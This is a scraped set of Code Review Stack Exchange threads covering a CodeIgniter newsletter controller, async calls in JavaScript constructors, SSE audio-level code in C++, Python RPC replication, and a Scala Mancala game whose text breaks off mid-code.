redirect($this-&gt;agent-&gt;referrer()); } } $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscribers'] = $this-&gt;Newsletter_model-&gt;getSubscribers(); $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/subscribers'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } public function edit($id) { // Only logged in users can edit subscribers if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id); $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/edit-subscriber'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } public function update() { // Only logged in users can update user profiles if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } $id = $this-&gt;input-&gt;post('subscriber'); $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id); $this-&gt;form_validation-&gt;set_rules('email', 'Email', 'required|trim|valid_email'); $this-&gt;form_validation-&gt;set_error_delimiters('&lt;p class=&quot;error-message&quot;&gt;', '&lt;/p&gt;'); if(!$this-&gt;form_validation-&gt;run()) { $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/edit-subscriber'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } else { $this-&gt;Newsletter_model-&gt;updateSubscriber($id); $this-&gt;session-&gt;set_flashdata('subscriber_updated', 'The email address was updated'); redirect('dashboard/subscribers'); } } public function delete($id) { if ($this-&gt;Newsletter_model-&gt;deleteSubscriber($id)) { $this-&gt;session-&gt;set_flashdata('subscriber_delete_success', &quot;The subscriber was deleted&quot;); } else { $this-&gt;session-&gt;set_flashdata('subscriber_delete_fail', &quot;Failed to delete subscriber&quot;); } redirect('dashboard/subscribers'); } } </code></pre> <p>My main concern is <em>security</em>, but I will appreciate <em>any constructive criticism</em>. Thanks! :)</p>
[]
[ { "body": "<p>I will share here my thoughts and personal opinions:</p>\n<ol>\n<li>Use this array format <code>[]</code> and not <code>array()</code></li>\n<li>Instead of loading data and business logic inside the view (e.g subscribers list - <code>&lt;?php if(count($subscribers)):?&gt;</code>). Do everything on the backend and return the result as JSON to the fronted. This will give you more scalability and control. The PHP business logic in the view should be avoided and only JS should be used there.</li>\n<li>Since you're using IDs in the URL (e.g. <code>public function edit($id)</code>), always check for the $id to be an integer and not null before the model</li>\n</ol>\n<p>That's my opinions, maybe someone else can add something more :)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T10:46:57.437", "Id": "508407", "Score": "1", "body": "I prefer the array format `[]` (and have used I often), but **[this](http://www.phpformatter.com/)** PHP beautifier does not allow it. :(" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T10:24:56.387", "Id": "257392", "ParentId": "257284", "Score": "2" } } ]
{ "AcceptedAnswerId": "257392", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T06:26:35.800", "Id": "257284", "Score": "1", "Tags": [ "ajax", "codeigniter" ], "Title": "Newsletter Subscription Functionality in Codeigniter 3" }
257284
<p>I have some situations where I run <code>async</code> code inside <code>class constructor</code>:</p> <h3>1. Run async code that returns a response</h3> <p>I execute some <code>async</code> code that returns a response, then I apply <code>then</code> and <code>catch</code> inside <code>class constructor</code>:</p> <pre class="lang-js prettyprint-override"><code>class MyClass { constructor( someParameter, anotherParameter, ) { // Run async code that return a response someAsyncCode() .then( // do something with result of someAsyncCode ) .catch( // do something if someAsyncCode goes wrong ) } } </code></pre> <h3>2. Run async code that doesn't return a response</h3> <p>In some situations, the <code>async</code> code doesn't return anything, but I need to run it.</p> <pre class="lang-js prettyprint-override"><code>class MyClass { constructor( someParameter, anotherParameter, ) { // Run async code that doesn't return anything someAsyncCode() } async someAsyncCode() { const someAsyncResult = await something(); // execute some other logic but not return anything } } </code></pre> <h2>Questions</h2> <ol> <li>Its a good or bad practice, execute some <code>async</code> code inside <code>class constructor</code>?</li> <li>in the situation where you need to execute <code>async</code> code that does not return anything, it is necessary to execute <code>then</code> and <code>catch</code>?</li> <li>what are the implications of executing <code>asyn</code> code without <code>then</code> and <code>catch</code>?</li> </ol>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T02:00:30.690", "Id": "508261", "Score": "0", "body": "The mistake I usually see with using an async call in a constructor is that the call fetches data... every time an object is created. There's no opportunity for caching, lots of extra HTTP calls, poor UX. Also think about the future: if you have an initializer method that a caller has to call then you decide later that you can do it in the constructor you can make the initializer method a no-op without breaking existing callers. The same is **not** true if you do work in the constructor and later decide it needs to be an initializer method." } ]
[ { "body": "<p>The job of a constructor is to initialize the instance, i.e. put it in a defined state. Using (encapsulated) async code there might result in an instance that is only partially initialized. This would result in the instance being in an undefined state and thusly in code using it, that relies on the instance being fully initialized to fail unpredictably.</p>\n<p>On the other hand, if all external interfaces, i.e. methods, properties etc. that the class exhibits defer to any possibly yet unresolved Promises of the async code within the constructor, this effect can be mitigated and might be applied in very special use cases:</p>\n<pre><code>class Foo {\n constructor () {\n this.promise = asyncStuff();\n }\n\n get spamm () {\n return await this.promise;\n }\n}\n</code></pre>\n<p>This however will most likely result in very complex code that is hard to maintain.</p>\n<p>For the reasons above, I would avoid using async code in constructors if possible.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T09:18:17.740", "Id": "257291", "ParentId": "257290", "Score": "3" } }, { "body": "<h3>Questions.</h3>\n<blockquote>\n<p><em>&quot;Its a good or bad practice, execute some async code inside class constructor?&quot;</em></p>\n</blockquote>\n<p>Class <code>constructor</code> functions can not be <code>async</code> functions. Thus a object created using the <code>constructor</code> (class syntax) will always immediately return the object.</p>\n<p>It then depends on what the code does you are waiting on. If that code is essential for the correct functioning of the object created then you must ensure that it behavior is predicated by the state of the promise/s (data or errors) it is waiting for.</p>\n<blockquote>\n<p><em>&quot;in the situation where you need to execute async code that does not return anything, it is necessary to execute then and catch?&quot;</em></p>\n</blockquote>\n<p>If the promise returns no result, does not throw errors, or the completion of the task does not adversely effect the state then there is no need to listen to its <code>then</code> and <code>catch</code> events.</p>\n<blockquote>\n<p><em>&quot;what are the implications of executing asyn code without then and catch?&quot;</em></p>\n</blockquote>\n<p>There are no implications assuming there will be no errors to deal with nor data to await.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T09:23:23.713", "Id": "257292", "ParentId": "257290", "Score": "3" } }, { "body": "<blockquote>\n<p>Its a good or bad practice, execute some async code inside class constructor?</p>\n</blockquote>\n<p>Constructors are always synchronous and should succeed to create an object immediately. If your async call doesn't block that <em><strong>and</strong></em> you don't care about the success of your async call, then it is not a bad practice to call the function without awaiting it, and immediately <code>.catch</code> and handle any possible rejections.</p>\n<p>In general, if you don't need the return value of an async call and you don't want to wait for it to complete, you should not <code>await</code> it. But, you should still handle rejections with a <code>.catch</code>; even if you do nothing: <code>something().catch(() =&gt; {})</code></p>\n<blockquote>\n<p>in the situation where you need to execute async code that does not return anything, it is necessary to execute then and catch? what are the implications of executing async code without then and catch?</p>\n</blockquote>\n<p>Having a <code>then</code> is unnecessary, and would only be useful if you wanted to do something when the Promise has resolved, but if the Promise can be rejected you must have a <code>catch</code>.</p>\n<p>If you do not catch a rejected promise you will have an unhandledPromiseRejection which, if left unhandled, <a href=\"https://nodejs.org/dist/latest-v8.x/docs/api/deprecations.html#deprecations_dep0018_unhandled_promise_rejections\" rel=\"nofollow noreferrer\">will crash your process in a future version of Node.js</a>.</p>\n<p>If you did care about the return value, or you want the caller to be able to handle rejections, you can make the constructor private and then add a static async factory function that uses the private constructor:</p>\n<pre><code>class MyClass {\n\n private constructor(\n someParameter,\n anotherParameter,\n ) {\n // No async calls here\n }\n\n static async create (\n someParameter,\n anotherParameter,\n ) {\n await something();\n return new MyClass(someParameter, anotherParameter);\n }\n\n}\n</code></pre>\n<p>Then you would use <code>MyClass.create(x,y)</code> to instantiate it, instead of <code>new MyClass(x,y)</code>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T18:53:45.090", "Id": "257313", "ParentId": "257290", "Score": "5" } } ]
{ "AcceptedAnswerId": "257313", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T08:20:22.303", "Id": "257290", "Score": "3", "Tags": [ "javascript", "typescript" ], "Title": "Use async code in class constructor" }
257290
<p>I have this code to get audio output levels in dB to an array (peak_dB[8]) to be used in real time peakmeter:</p> <pre><code>#include &lt;emmintrin.h&gt; float channelsPeak[8] = { 0 }; float peak_dB[8] = { 0 }; __m128 log2_sse(__m128 x) { // https://www.kvraudio.com/forum/viewtopic.php?p=7524831#p7524831 // 12-13ulp const __m128 c0 = _mm_set1_ps(1.011593342e+01f); const __m128 c1 = _mm_set1_ps(1.929443550e+01f); const __m128 d0 = _mm_set1_ps(2.095932245e+00f); const __m128 d1 = _mm_set1_ps(1.266638851e+01f); const __m128 d2 = _mm_set1_ps(6.316540241e+00f); const __m128 one = _mm_set1_ps(1.0f); const __m128 multi = _mm_set1_ps(1.41421356237f); const __m128i mantissa_mask = _mm_set1_epi32((1 &lt;&lt; 23) - 1); __m128i x_i = _mm_castps_si128(x); __m128i spl_exp = _mm_castps_si128(_mm_mul_ps(x, multi)); spl_exp = _mm_sub_epi32(spl_exp, _mm_castps_si128(one)); spl_exp = _mm_andnot_si128(mantissa_mask, spl_exp); __m128 spl_mantissa = _mm_castsi128_ps(_mm_sub_epi32(x_i, spl_exp)); spl_exp = _mm_srai_epi32(spl_exp, 23); __m128 log2_exponent = _mm_cvtepi32_ps(spl_exp); __m128 num = spl_mantissa; num = _mm_add_ps(num, c1); num = _mm_mul_ps(num, spl_mantissa); num = _mm_add_ps(num, c0); num = _mm_mul_ps(num, _mm_sub_ps(spl_mantissa, one)); __m128 denom = d2; denom = _mm_mul_ps(denom, spl_mantissa); denom = _mm_add_ps(denom, d1); denom = _mm_mul_ps(denom, spl_mantissa); denom = _mm_add_ps(denom, d0); __m128 res = _mm_div_ps(num, denom); res = _mm_add_ps(log2_exponent, res); return res; } __m128 lin2db(__m128 x) { const __m128 convert_10 = _mm_set1_ps(6.02059991328f); return _mm_mul_ps(log2_sse(x), convert_10); } float getPeaks_dB(int cCount) { // cCount = enabled channels (1...8) __m128 s1 = _mm_setzero_ps(); s1 = _mm_set_ps(channelsPeak[3], channelsPeak[2], channelsPeak[1], channelsPeak[0]); //channels 1-4 s1 = lin2db(s1); _mm_store_ps(peak_dB, s1); if(cCount &gt; 4){ float t2[4] = { 0 }; __m128 s2 = _mm_setzero_ps(); s2 = _mm_set_ps(channelsPeak[7], channelsPeak[6], channelsPeak[5], channelsPeak[4]); // channels 5-8 s2 = lin2db(s2); _mm_store_ps(t2, s2); for (int i = 4; i &lt; 8; i++){peak_dB[i] = t2[i-4];} } return 0; } </code></pre> <p>where float channelsPeak[0..7] array is storage for linear levels (0.0f..1.0f) of eight channels read from audio rendering device (one GetChannelsPeakValues() call), <em>peak_dB</em> is array of eight elements to hold this value in dB format (to be used in some later calculations and textual representation) and <strong>lin2db</strong> is 20log10(x) approximation (faster (because of lower accuracy) than std::log10) implemented using SSE intrinsics.</p> <p>Q: Are there other (better) ways to insert data from s2 into last four elements of peak_dB (AVX excluded)? I'm using VS2013 and, by <a href="https://godbolt.org/z/47jMhb" rel="nofollow noreferrer">Compiler Explorer</a>, compiler seem to improve for-loop as used in code now but, as the 1st part in peak_dB stored with _mm_store_ps(peak_dB, s1) looks there much simpler, just wondering if there's a way doing it without for-loop.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:47:00.640", "Id": "508204", "Score": "0", "body": "Why are you using SSE for this ? It seems pointless in this particular case - is it just for learning/experimental purposes ?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T13:08:51.193", "Id": "508208", "Score": "0", "body": "Welcome to the Code Review Community. When we see `...` in the code that means that the code as posted is incomplete and we have a tendency to close the question as off-topic because it is `Missing Code Context`. The lack of code context makes it much more difficult to review the code in the question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:42:00.530", "Id": "508244", "Score": "0", "body": "Thanks for updating the code. The description still references `cPeak` but that was renamed to `channelsPeak`, right? Please update the description accordingly" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T09:46:25.457", "Id": "508280", "Score": "0", "body": "When you're working with intrinsics specifically, it definitely doesn't hurt to comment what's happening in the function (like in `// return log(x * y)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T21:44:41.927", "Id": "508373", "Score": "0", "body": "Hey I saw the comment you posted, you should be able to find a small tick/check mark icon underneath the vote buttons on the answer if you want to accept it (see https://meta.stackexchange.com/a/5235/354801), however on CR it's generally good practice to wait at least 24h or so in case you get any more good answers - since they can take a while for reviewers to compose and post" } ]
[ { "body": "<h1>Storing</h1>\n<blockquote>\n<p>Are there other (better) ways to insert data from s2 into last four elements of peak_dB (AVX excluded)?</p>\n</blockquote>\n<p>Yes, actually you already used that way: it's <code>_mm_store_ps</code>. For example:</p>\n<pre><code> s2 = lin2db(s2);\n _mm_store_ps(peak_dB + 4, s2);\n</code></pre>\n<p>Maybe you prefer <code>&amp;peak_dB[4]</code> instead of <code>peak_dB + 4</code>, that works just fine too.</p>\n<p><code>_mm_store_ps</code> takes a pointer to wherever you want to store the data, that pointer does not have to point to the start of an array.</p>\n<h1>Loading</h1>\n<p>An other problem here is the use of <code>_mm_set_ps</code>. Though it accepts variable arguments, it is mostly meant for constant arguments, and good code is far from guaranteed if it is used differently. In the code on Godbolt, you can see the effect. Here I removed the code from <code>lin2db</code> from it that got &quot;interleaved&quot; into it:</p>\n<pre><code> movss xmm1, DWORD PTR float * channelsPeak+12\n movss xmm0, DWORD PTR float * channelsPeak+8\n movss xmm2, DWORD PTR float * channelsPeak+4\n movss xmm4, DWORD PTR float * channelsPeak\n unpcklps xmm2, xmm1\n unpcklps xmm4, xmm0\n unpcklps xmm4, xmm2\n</code></pre>\n<p>And this is seen for the other similar instance of <code>_mm_set_ps</code> as well:</p>\n<pre><code> movss xmm1, DWORD PTR float * channelsPeak+28\n movss xmm0, DWORD PTR float * channelsPeak+24\n movss xmm2, DWORD PTR float * channelsPeak+20\n movss xmm3, DWORD PTR float * channelsPeak+16\n unpcklps xmm3, xmm0\n unpcklps xmm2, xmm1\n unpcklps xmm3, xmm2\n</code></pre>\n<p>Avoid this pattern, try to use <code>_mm_load(u)_ps</code> if possible. That's easy in this case:</p>\n<pre><code>s1 = _mm_loadu_ps(channelsPeak);\n// later\ns2 = _mm_loadu_ps(channelsPeak + 4);\n</code></pre>\n<h1>Zeroing</h1>\n<p>Initializing local variables of type <code>__m128</code> like this is fine:</p>\n<pre><code>__m128 s1 = _mm_setzero_ps();\n</code></pre>\n<p>There's no serious problem with that, but it does not do anything useful in this code, it's just redundant. Of course if the value of zero is used as an input to something, then it should be done. But here it can just as well be skipped, declaring the variable only when you have a value to assign to it, for example:</p>\n<pre><code>__m128 s1 = _mm_loadu_ps(channelsPeak);\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T18:39:59.843", "Id": "257358", "ParentId": "257297", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:25:32.520", "Id": "257297", "Score": "1", "Tags": [ "c++", "array", "sse" ], "Title": "Insert an array[4] to an array[8] (C++, SSE)" }
257297
<p>I want to build a barebones system according to the following spec:</p> <p>Given a setup of <code>n</code> computers, if the <code>ith</code> computer receives an operation to update a given key-value pair, it should perform the update, and propagate it to all other nodes. I'd like communication between nodes to be done with RPC.</p> <p>I have the following runnable code that works fine:</p> <pre><code>import aiomas class RpcCall: def __init__(self, port, method): self.port = port self.method = method async def __call__(self, *args, **kwargs): rpc_con = await aiomas.rpc.open_connection((&quot;localhost&quot;, self.port)) rep = await getattr(rpc_con.remote, &quot;redirect&quot;)(*args, **kwargs, method_name=self.method) await rpc_con.close() return rep class Node: def __init__(self, port, neb_ports): self.server = None self.port = port self.table = {} self.neb_ports = neb_ports def start(self): self.server = aiomas.run(aiomas.rpc.start_server((&quot;localhost&quot;, self.port), Server(self))) def close(self): self.server.close() aiomas.run(self.server.wait_closed()) async def update(self, key, value, replicate=True): self.table[key] = value if replicate: for neb in self.neb_ports: await self.replicate(neb, &quot;update&quot;, key=key, value=value, replicate=False) async def replicate(self, node, method_name, *args, **kwargs): rpc_call = RpcCall(node, method_name) await rpc_call(*args, **kwargs) class Server: router = aiomas.rpc.Service() def __init__(self, node: Node): self.node = node @aiomas.expose async def redirect(self, method_name, *args, **kwargs): func = getattr(self.node, method_name) await func(*args, **kwargs) if __name__ == &quot;__main__&quot;: n1 = Node(5555, [5556]) n2 = Node(5556, [5555]) n1.start() n2.start() aiomas.run(n1.update(&quot;foo&quot;, &quot;bar&quot;)) print(n1.table) print(n2.table) </code></pre> <p>As the output should show, the table is replicated onto both nodes, ensuring there's no data loss in case one node dies.</p> <p>I'm looking for a review specifically on the design pattern used in the above.</p> <p>I've coupled the <code>Node</code> and <code>Server</code> classes so that whenever the <code>Server</code> receives an RPC call, it delegates it back to the <code>Node</code>, which then performs the operation on the underlying <code>table </code></p> <p>Good idea/bad idea?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T21:29:28.187", "Id": "508371", "Score": "1", "body": "Could you be more specific on the \"fault-tolerant\" part? What would you expect to happen if two nodes receive the same key at (roughly) the same time? What should happen if a read call for a key arrives at the same time as a write call for the same key? Should the system be tolerant towards loss/rejoining of nodes? What do you expect to happen if a node sends an update call but the receiver dies along the way? What if the sender dies along the way?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T23:49:08.143", "Id": "508376", "Score": "0", "body": "@FirefoxMetzger Hi, thanks for the comment :) I'll clarify: what I meant was in the very basic sense: if a node goes down, there's no data loss as the data is preemptively replicated to the other nodes. (Yup, not a very fault-tolerant system by most measures, or even efficient)" } ]
[ { "body": "<p>On the coding side, every <code>Node</code> has an attribute <code>Server</code> and the <code>Server</code> has a reference to the <code>Node</code> it belongs to. <code>Node</code> calls <code>Server</code>'s methods, and <code>Server</code> reads <code>Node</code>'s attributes, so they currently are inseparable classes. I would suggest refactoring this, and - personally - I would just merge the two classes.</p>\n<p>I'm also not sure why <code>RpcCall</code> needs to be a callable class, other than for the sake of enforcing OOP. It looks like a simple function (or another method in <code>Node</code>) would do just as well. Then again, maybe your real scenario needs it to be a separate class.</p>\n<pre class=\"lang-py prettyprint-override\"><code>for neb in self.neb_ports:\n await self.replicate(...)\n</code></pre>\n<p>This line defeats the purpose of asyncronous IO, because you are waiting for each call to finish before starting the next one. You could look into <code>Asyncio.gather</code> to start and await multiple such calls in parallel instead of sequentially.</p>\n<hr />\n<p>Regarding reliability, you - unfortunately - have none. If one node fails, it will bring peer-nodes down at the next attempt to sync the key-value store. The reason is that you are <code>await</code>ing a function that will timeout and <code>raise</code> and Exception if a connection can't be established. You are not handling this exception anywhere, so the calling node will halt. If keys are updated often enough, your entire cluster will die due to this.</p>\n<p>If a connection can be established, I'm not sure what will happen if either node dies. I briefly searched <code>aiomas</code>, but couldn't find related documentation. My guess is that the call will just hang indefinitely. This is potentially worse than a clean crash because your node will be leaky and silently suffer a death by a thousand cuts. Log messagees (if any) will likely point you into the wrong direction, making this problem hard to debug.</p>\n<p>On the point of fault-tolerant because &quot;there is no data loss because nodes replicate preemptively&quot; it really isn't just that simple.</p>\n<p>The sore point is the hierarchy among nodes, or rather the lack thereof. If the network for one node dies temporarily, it won't receive any further updates. To the node, the faulty network and not getting state changes look alike, so it will continue running happily. To the other nodes of the cluster it looks like the node died, and - assuming you add exception handling - they will continue to change state jointly. After the network issue is resolved, the lost node will reappear in the cluster and continue serving happily. However, it is now out of sync and will serve potentially outdated key-value pairs or report missing values for new ones that were set during the network outage.</p>\n<p>Assume this happens to multiple nodes; you'll end up with a heterogenious cluster and - because you lack hierarchy among your nodes - it is impossible to say what the correct state should be. Currently, you can't differentiate the order in which state-changes occurred, so rebuilding the state is ambiguous. You will need to define merging and conflict resolution mechanisms to re-establish synced state.</p>\n<p>You may also wish to establish a heartbeat for the cluster so that a node can discover connection issues. How it should handle them is context-dependent, but an easy first idea is for the node to simply suicide.</p>\n<p>Instead of creating a homebrew design-pattern for this, it may be easier to follow an established consensus method such as RAFT or PAXOS. This will take care of a lot of edge cases and may make your life considerably easier.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T11:08:38.537", "Id": "508409", "Score": "0", "body": "thanks for the detailed feedback!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T05:56:02.533", "Id": "257383", "ParentId": "257298", "Score": "1" } } ]
{ "AcceptedAnswerId": "257383", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:32:21.800", "Id": "257298", "Score": "0", "Tags": [ "python" ], "Title": "Python RPC Design Pattern - is bidrectional coupling a good idea?" }
257298
<p><a href="https://www.mastersofgames.com/rules/mancala-rules.htm" rel="nofollow noreferrer">https://www.mastersofgames.com/rules/mancala-rules.htm</a></p> <p>I am trying to create a working Mancala Game in scala, Currently, I have 3 classes, <code>Board</code>, <code>Mancala</code> and <code>Player</code>.</p> <p>Here is a copy of my <code>Board</code> class:</p> <pre><code>/** * The board of an ongoing game of mancala * @param player1: The number of seeds in each of lower player's pods (left to right) * @param bank1: The number of seeds in the lower player's bank * @param player2: The number of seeds in each of upper player's pods (left to right, from that player's perspective) * @param bank2: The number of seeds in the upper player's bank * @return a new board after the move takes place */ class Board(val player1: Seq[Int], val bank1: Int, val player2: Seq[Int], val bank2: Int) { /** Create a new board from a player taking a turn */ def move(player: Int, position: Int): Board = { if (player != 1 &amp;&amp; player != 2) throw new IllegalArgumentException if (position &lt; 0 || position &gt; 5) throw new IllegalArgumentException // Inner function for depositing seeds along a side def progress(seeds: Int, position: Int, side: Seq[Int]) = { val dist = math.min(seeds, 6 - position) val newSide = side.zipWithIndex.map { case (a, b) =&gt; if (b &gt;= position &amp;&amp; b &lt; position + dist) a + 1 else a } (seeds - dist, newSide) } // Inner function for depositing a seed in the bank def depositInBank(seeds: Int, bank: Int): (Int, Int) = { if (seeds &gt; 0) (seeds - 1, bank + 1) else (seeds, bank) } // Redistribute the pieces. Board movement positions are always counted // from the left val (startSide, oppSide) = if (player == 1) (player1.toArray, player2.reverse.toArray) else (player2.reverse.toArray, player1.toArray) val start = if (player == 1) position else 5 - position val playerBank = if (player == 1) bank1 else bank2 if (startSide(start) == 0) throw new IllegalStateException val seeds = startSide(start) startSide(start) = 0 val pos = start + 1 // First side pass val (seedsFirstPass, playerPodsFirstPass) = progress(seeds, pos, startSide) val (seedsFirstPassAndBank, playerBankFirstPass) = depositInBank(seedsFirstPass, playerBank) // Move around the other side of the board val (seedsSecondPass, oppSideSecondPass) = progress(seedsFirstPassAndBank, 0, oppSide) // Skip the opponent's bank, but keep going if we can val (seedsThirdPass, playerPodsThirdPass) = progress(seedsSecondPass, 0, playerPodsFirstPass) // Stop by the bank val (seedsThirdsPassAndBank, playerBankSecondPass) = depositInBank(seedsThirdPass, playerBankFirstPass) // Just to be safe val (seedsFourthPass, oppSideFourthPass) = progress(seedsThirdsPassAndBank, 0, oppSideSecondPass) // Make our assumption explicit assert(seedsFourthPass == 0, &quot;Still seeds after fourth pass, did not account for that&quot;) // Construct the new board if (player == 1) new Board(playerPodsThirdPass.toVector, playerBankSecondPass, oppSideFourthPass.reverse.toVector, bank2) else new Board(oppSideFourthPass.toVector, bank1, playerPodsThirdPass.reverse.toVector, playerBankSecondPass) } /** Capture pieces from a mancala game * * Pieces from the capturing pod and the opposite pod (same position, other player) are all emptied and moved * to the capturing player's bank. * * @param player the side (1 or 2) doing the capturing * @param pos the position doing the capturing * @return a new mancala board after the capture */ def capture(player: Int, pos: Int): Board = { assert(player1(pos) != 0 &amp;&amp; player2(pos) != 0) val (newBank1, newBank2) = if (player == 1) (bank1 + player1(pos) + player2(pos), bank2) else (bank1, bank2 + player1(pos) + player2(pos)) new Board(player1.updated(pos, 0), newBank1, player2.updated(pos, 0), newBank2) } /** Calculate the last pod that will be visited by a move * * @param player the number (1, 2) of the player making the move * @param pos the index of the move about to be made (always counting from the left) * @return a tuple (player, pos) that represents the players side and position the last seed will be deposited in. * A position of 6 represents a player's bank. */ def lastPosAfterMove(player: Int, pos: Int): (Int, Int) = { val seeds = (if (player == 1) player1 else player2)(pos) val distToBank = if (player == 1) 6 - pos else pos + 1 // Could use a better approach if (player == 1) if (seeds &lt; distToBank) (1, pos + seeds) else if (seeds == distToBank) (1, 6) else if (seeds &lt;= distToBank + 6) (2, 6 - (seeds - distToBank)) else if (seeds &lt;= distToBank + 12) (1, seeds - distToBank - 7) else if (seeds == distToBank + 13) (1, 6) else if (seeds &lt;= distToBank + 19) (2, 19 - (seeds - distToBank)) else { assert(false); (0, 0) } else if (seeds &lt; distToBank) (2, pos - seeds) else if (seeds == distToBank) (2, 6) else if (seeds &lt;= distToBank + 6) (1, seeds - distToBank - 1) else if (seeds &lt;= distToBank + 12) (2, 12 - (seeds - distToBank)) else if (seeds == distToBank + 13) (2, 6) else if (seeds &lt;= distToBank + 19) (1, seeds - distToBank - 14) else { assert(false); (0, 0) } } override def toString = { val p2 = player2.foldLeft(&quot;&quot;)((a, b) =&gt; a + StringContext(&quot; &quot;, &quot; &quot;).f(b)).trim val p1 = player1.foldLeft(&quot;&quot;)((a, b) =&gt; a + StringContext(&quot; &quot;, &quot; &quot;).f(b)).trim val layer = &quot;-&quot; * 32 val space = &quot; &quot; * 28 f&quot;&quot;&quot;${layer + &quot; &quot;}\n $p2 \n$bank2 ${space} $bank1\n $p1\n${layer}&quot;&quot;&quot; } } /** * Board companion object. Used as a factory to create a starting board easily */ object Board { /** Create an initial board */ def apply() = { val boardSide = Seq(4,4,4,4,4,4) new Board(boardSide, 0, boardSide, 0) } } </code></pre> <p>I am trying to improve the <code>lastPosAfterMove()</code> and the <code>move()</code> functions, to make them more compact and understandable for others and use a better approach.</p> <p><strong>-----------------------------------------------QUESTION EDIT-------------------------------------------------</strong></p> <p>These are the other two classes Player Class</p> <pre><code>import scala.io.StdIn /** * A player in the Mancala game */ trait Player { /** * Get a player's move. * @param curBoard the current game configuration * @param currPlayer the current player * @return the player's choice */ def getMove(curBoard: Board, currPlayer: Int): Int } /** * A human player. */ class HumanPlayer extends Player { /** * Get a player's move from StdIn. * @param curBoard the current game configuration * @param currPlayer the current player * @return the player's choice */ def getMove(curBoard: Board, currPlayer: Int): Int = { var input: Int = StdIn.readChar - 'a' val helpMessage = &quot;-------------------------------------------------------------------------\n&quot;+ &quot;The board is represented by two lines, the upper line for the opponent\n&quot;+ &quot;and the lower line for the current player. The number of pebbles is\n&quot;+ &quot;shown for each pot, and the mancalas are given at the appropriate end\n&quot;+ &quot;of each line. For the current player, pots are numbered left-to-right\n&quot;+ &quot;from 1--6, followed by the player’s mancala. The opponent’s pots\n&quot;+ &quot;(and mancala) are in reverse on the line before the player’s.\n&quot;+ &quot;mancala 6 5 4 3 2 1\n&quot;+ &quot; 0 4 4 4 4 4 4 &lt;--- opponent\n&quot;+ &quot; 4 4 4 4 4 4 0 &lt;--- current player\n&quot;+ &quot; 1 2 3 4 5 6 mancala\n&quot;+ &quot;Player ’A’ moves first, and the player must enter their letter and pot\n&quot;+ &quot;number because occasionally one player may get multiple moves.\n&quot;+ &quot;Enter ’Q’ to quit.\n&quot;+ &quot;-------------------------------------------------------------------------&quot; while (input &lt; 0 || input &gt; 5) { if(input == 7 || input == -25){ println(helpMessage) } else{ println(&quot;!!!Invalid move: please enter player letter and pot number.&quot;) } input = StdIn.readChar - 'a' } input } } </code></pre> <p>Mancala class</p> <pre><code>/** * A State of a Mancala. * @param board - game board * @param player - current player */ class Mancala(val board: Board, val player: Int) { /** * Plays a turn */ def playTurn(location: Int): Mancala = { val (side, position) = this.board.lastPosAfterMove(player, location) val updatedBoard = this.board.move(player, location) val nextTurn = if (location == 6) { player } else if (player == 1) { 2 } else{ 1 } val playerSides = playerIdentifier() val finalBoard = if (side == player &amp;&amp; playerSides._1(position) == 1 &amp;&amp; position != 6 &amp;&amp; playerSides._2(position) != 0){ updatedBoard.capture(player, position) } else { updatedBoard } new Mancala(finalBoard, nextTurn) } def playerIdentifier(): (Seq[Int],Seq[Int]) = { if (this.player != 1) { (this.board.player2, this.board.player1) } else { (this.board.player1, this.board.player2) } } /** * Determines if a game is complete */ def isOver(): Boolean = { if(board.player1.forall(i =&gt; i == 0)){ true } else if(board.player2.forall(i =&gt; i == 0)){ true } else { false } } /** * Calculates the score after game is over. */ def scoreCalculator(): (Int, Int) = { (this.board.player1.sum + this.board.bank1, this.board.player2.sum + this.board.bank2) } } object Manscala { def getPlayers: (Player, Player) = { (new HumanPlayer, new HumanPlayer) } def apply() = new Mancala(Board(), 1) /** * Helps in printing the board values. */ def printHelper() = { println(&quot; a b c d e f&quot;) } /** * Driver of the program. */ def main(args: Array[String]) = { println(&quot;\nWelcome to Mancala. Enter ’H’ for help, 